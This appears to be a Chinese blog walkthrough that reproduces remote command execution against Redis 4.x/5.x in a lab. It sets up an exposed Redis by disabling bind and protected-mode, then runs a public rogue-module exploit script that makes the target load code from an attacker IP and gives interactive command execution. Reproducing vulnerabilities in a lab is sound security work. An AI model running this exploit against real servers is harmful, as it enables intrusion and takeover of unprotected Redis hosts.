漏洞復現---Redis 遠程命令執行漏洞復現

0x00 Redis介紹

Redis是一個開源的使用ANSI C語言編寫、支持網絡、可基於內存亦可持久化的日誌型、Key-Value數據庫,並提供多種語言的API。
redis是一個key-value存儲系統。和Memcached類似,它支持存儲的value類型相對更多,包括string(字符串)、list(鏈表)、set(集合)、zset(sorted set --有序集合)和hash(哈希類型)。這些數據類型都支持push/pop、add/remove及取交集並集和差集及更豐富的操作,而且這些操作都是原子性的。在此基礎上,redis支持各種不同方式的排序。與memcached一樣,爲了保證效率,數據都是緩存在內存中。區別的是redis會週期性的把更新的數據寫入磁盤或者把修改操作寫入追加的記錄文件,並且在此基礎上實現了master-slave(主從)同步。
Redis 是一個高性能的key-value數據庫。 redis的出現,很大程度補償了memcached這類key/value存儲的不足,在部 分場合可以對關係數據庫起到很好的補充作用。它提供了Java,C/C++,C#,PHP,JavaScript,Perl,Object-C,Python,Ruby,Erlang等客戶端,使用很方便。

0x01 搭建漏洞環境

Poc下載鏈接:poc
.so編譯文件下載鏈接:RedisModules-ExecuteCommand
環境搭建參考鏈接:https://blog.csdn.net/buyueliuying/article/details/82316517
以Redis 4.0.11爲例。
攻擊機:kali 192.168.58.128
Redis主機:kali 192.168.58.131
影響範圍:redis4.x、5.x
1)Kali下載Redis包:

Wget download.redis.io/releases/redis-4.0.11.tar.gz

在這裏插入圖片描述
2)解壓

tar xzvf redis-4.0.11.tar.gz

在這裏插入圖片描述
3)make安裝
進入/usr/local/目錄中建立redis目錄;

make PREFIX=/usr/local/redis install

在這裏插入圖片描述
安裝完成。
在這裏插入圖片描述
4)檢查安裝是否有問題

make test

在這裏插入圖片描述
如果提示 You need tcl 8.5 or newer in order to run the Redis test
需要安裝tcl解決:yum -y install tcl

5)拷貝源碼中的redis.conf到/usr/local/redis中

cp /redis-4.0.11/redis.conf /usr/local/redis

進入redis目錄

cd /usr/local/redis

修改redis.conf中的以下參數:
①找到bind 127.0.0.1並註釋掉;
②修改protected-mode屬性值爲no;
(redis默認是隻能本地訪問,註釋掉並且將保護模式禁用以後可以通過IP訪問)
③修改daemonize no爲daemonize yes,標識redis以後臺方式啓動
6)服務端啓動服務

/usr/local/redis/bin/redis-server /usr/local/redis/redis.conf

在這裏插入圖片描述
7)啓動客戶端連接並測試

/usr/local/redis/bin/redis-cli

在這裏插入圖片描述
【停止redis服務–> /usr/local/redis/bin/redis-cli shutdown或者 kill `pidof redis-server`】
【通過Linux命令調用窗口文件目錄,適用於中文版Linux–>gnome-open /etc或者在Ubuntu中使用 nautilus /etc】
【測試 redis-cli -h 服務器ip -p 6379 -a 密碼(例:redis-cli -h 192.168.1.1 -p 6379 -a 123)】
【開放6379端口:/sbin/iptables -I INPUT -p tcp --dport 6379 -j ACCEPT 然後重啓redis】
【查看開啓的端口:netstat -lntp】
【測試ip端口能否訪問: wget ip:port】

0x02 攻擊

在攻擊者kali機中下載 RedisModules-ExecuteCommand,下載地址:
https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
1)下載.so編譯文件

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git

進入RedisModules-ExecuteCommand目錄中,直接make編譯
在這裏插入圖片描述
2)編譯後的module.so文件存在src目錄下,複製到poc目錄下
在這裏插入圖片描述
這裏解釋下,poc包裏的exp_lin.so和module.so其實是同一個文件,在攻擊過程中也可以使用exp_lin.so文件,這裏只是說明此文件生成過程。
在這裏插入圖片描述
3)跑一下poc

Python redis-rce.py -r 目標機ip -L 攻擊機ip -f module.so

選擇i進入交互模式。
在這裏插入圖片描述
=【請勿用於非法攻擊!!!】=

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章